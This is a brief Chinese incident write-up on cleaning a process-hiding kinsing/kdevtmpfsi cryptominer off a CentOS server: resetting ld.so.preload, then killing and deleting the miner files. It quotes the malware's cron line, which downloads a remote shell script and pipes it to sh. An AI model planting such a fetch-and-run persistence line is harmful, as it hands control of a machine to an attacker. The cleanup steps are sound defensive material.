记录一次隐藏进程的挖矿病毒

记录一次隐藏进程的挖矿病毒

服务器表现

1. 重启开机后cpu0一直处于100%，内存莫名其妙没了2g

2. top 、ps等命令查看不到 占用资源的进程

3. 有一个 不知名端口占用

   tcp6 0 0 :::30311 ::: * LISTEN -

4. crontab -l 有一个wget脚本并自动执行的计划任务

   */10 * * * * wget xxx:xxx/xxx.sh |sh &>/dev/null

解决： 隐藏进程 （参考： https://blog.csdn.net/weixin_34055787/article/details/89622602 ）

挖矿修改了centos 的动态链接库配置文件ld.so.preload内容并引用了/usr/local/lib/libjdk.so，开始top未查找到异常进程是由于该病毒涉及到 Linux 动态链接库预加载机制，是一种常用的进程隐藏方法，而 top 等命令都是受这个机制影响的，所以一开始并未看到相关进程。

问题至此，先清理动态链接库
[root@xxxx ~]# cp /etc/ld.so.preload /etc/ld.so.preload.bak
[root@xxxx ~]# cat /etc/ld.so.preload
/etc/libsystem.so		#删除该行

[root@xxxx ~]# top   	# 再次查看 （kdevtmpfsi）
Tasks:  87 total,   1 running,  86 sleeping,   0 stopped,   0 zombie
%Cpu(s): 51.6 us,  0.0 sy,  0.0 ni, 48.4 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  3880420 total,  1162740 free,  2512472 used,   205208 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  1142568 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                           
 3309 root      20   0 2653648   1720    928 S 100.0  0.0 315:58.24 kdevtmpfsi                                                        
    1 root      20   0   43412   3708   2584 S   0.0  0.1   0:00.93 systemd                                                           
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kthreadd

[root@xxxx ~]# netstat -tlnp  	# 查看
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      3273/sshd           
tcp6       0      0 :::30311                :::*                    LISTEN      2777/kinsing 

[root@xxxx ~]# ps -ef | grep 2777
root      2512  3513  0 17:16 pts/0    00:00:00 grep --color=auto 2777
root      2777     1  0 11:55 ?        00:00:03 /etc/kinsing

[root@xxxx ~]# kill -9 2777
[root@xxxx ~]# rm -f /etc/kinsing
[root@xxxx ~]# rm -f /tmp/kdevtmpfsi
[root@xxxx ~]# kill -9 3309
删除计划任务 
[root@xxxx ~]# reboot
解决